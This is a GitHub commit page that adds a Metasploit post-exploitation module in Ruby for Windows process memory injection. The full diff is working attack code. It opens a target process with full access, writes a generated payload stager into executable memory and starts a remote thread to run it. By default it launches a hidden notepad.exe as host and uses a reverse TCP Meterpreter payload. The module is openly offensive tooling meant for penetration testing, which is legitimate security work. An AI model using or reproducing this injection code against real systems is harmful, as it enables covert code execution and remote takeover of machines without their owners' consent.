Skip to content

Commit f1f8782

Browse files
author
jvazquez-r7
committed
Merge branch 'payload_inject.rb' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-payload_inject.rb
2 parents 60e871b + 2cedcad commit f1f8782

File tree

1 file changed

+175
-0
lines changed

1 file changed

+175
-0
lines changed
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# ## This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/exploit/exe'
11+
12+
class Metasploit3 < Msf::Exploit::Local
13+
Rank = ExcellentRanking
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Windows Manage Memory Payload Injection',
18+
'Description' => %q{
19+
This module will inject a payload into memory of a process. If a payload
20+
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
21+
datastore option isn't specified, then it'll inject into notepad.exe instead.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Carlos Perez <carlos_perez[at]darkoperator.com>'
27+
],
28+
'Platform' => [ 'win' ],
29+
'SessionTypes' => [ 'meterpreter' ],
30+
'Targets' => [ [ 'Windows', {} ] ],
31+
'DefaultTarget' => 0,
32+
'DisclosureDate'=> "Oct 12 2011"
33+
))
34+
35+
register_options(
36+
[
37+
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
38+
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
39+
], self.class)
40+
end
41+
42+
# Run Method for when run command is issued
43+
def exploit
44+
@payload_name = datastore['PAYLOAD']
45+
@payload_arch = framework.payloads.create(@payload_name).arch
46+
47+
# syinfo is only on meterpreter sessions
48+
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
49+
50+
pid = get_pid
51+
if not pid
52+
print_error("Unable to get a proper PID")
53+
return
54+
end
55+
56+
if @payload_arch.first =~ /64/ and client.platform =~ /x86/
57+
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
58+
print_error("Migrate to an x64 process and try again.")
59+
return false
60+
else
61+
inject_into_pid(pid)
62+
end
63+
end
64+
65+
# Figures out which PID to inject to
66+
def get_pid
67+
pid = datastore['PID']
68+
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
69+
print_status("Launching notepad.exe...")
70+
pid = create_temp_proc
71+
end
72+
73+
return pid
74+
end
75+
76+
77+
# Determines if a PID actually exists
78+
def has_pid?(pid)
79+
procs = []
80+
begin
81+
procs = client.sys.process.processes
82+
rescue Rex::Post::Meterpreter::RequestError
83+
print_error("Unable to enumerate processes")
84+
return false
85+
end
86+
87+
pids = []
88+
89+
procs.each do |p|
90+
found_pid = p['pid']
91+
return true if found_pid == pid
92+
end
93+
94+
print_error("PID #{pid.to_s} does not actually exist.")
95+
96+
return false
97+
end
98+
99+
# Checks the Architeture of a Payload and PID are compatible
100+
# Returns true if they are false if they are not
101+
def arch_check(pid)
102+
# get the pid arch
103+
client.sys.process.processes.each do |p|
104+
# Check Payload Arch
105+
if pid == p["pid"]
106+
vprint_status("Process found checking Architecture")
107+
if @payload_arch.first == p['arch']
108+
vprint_good("Process is the same architecture as the payload")
109+
return true
110+
else
111+
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
112+
return false
113+
end
114+
end
115+
end
116+
end
117+
118+
# Creates a temp notepad.exe to inject payload in to given the payload
119+
# Returns process PID
120+
def create_temp_proc()
121+
windir = client.fs.file.expand_path("%windir%")
122+
# Select path of executable to run depending the architecture
123+
if @payload_arch.first== "x86" and client.platform =~ /x86/
124+
cmd = "#{windir}\\System32\\notepad.exe"
125+
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
126+
cmd = "#{windir}\\System32\\notepad.exe"
127+
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
128+
cmd = "#{windir}\\Sysnative\\notepad.exe"
129+
elsif @payload_arch.first == "x86" and client.platform =~ /x64/
130+
cmd = "#{windir}\\SysWOW64\\notepad.exe"
131+
end
132+
133+
begin
134+
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
135+
rescue Rex::Post::Meterpreter::RequestError
136+
return nil
137+
end
138+
139+
return proc.pid
140+
end
141+
142+
def inject_into_pid(pid)
143+
vprint_status("Performing Architecture Check")
144+
return if not arch_check(pid)
145+
146+
begin
147+
print_status("Preparing '#{@payload_name}' for PID #{pid}")
148+
raw = payload.generate
149+
150+
print_status("Opening process #{pid.to_s}")
151+
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
152+
if not host_process
153+
print_error("Unable to open #{pid.to_s}")
154+
return
155+
end
156+
157+
print_status("Allocating memory in procees #{pid}")
158+
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
159+
160+
# Ensure memory is set for execution
161+
host_process.memory.protect(mem)
162+
163+
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
164+
print_status("Writing the stager into memory...")
165+
host_process.memory.write(mem, raw)
166+
host_process.thread.create(mem, 0)
167+
print_good("Successfully injected payload in to process: #{pid}")
168+
169+
rescue Rex::Post::Meterpreter::RequestError => e
170+
print_error("Unable to inject payload:")
171+
print_line(e.to_s)
172+
end
173+
end
174+
175+
end

0 commit comments

Comments
 (0)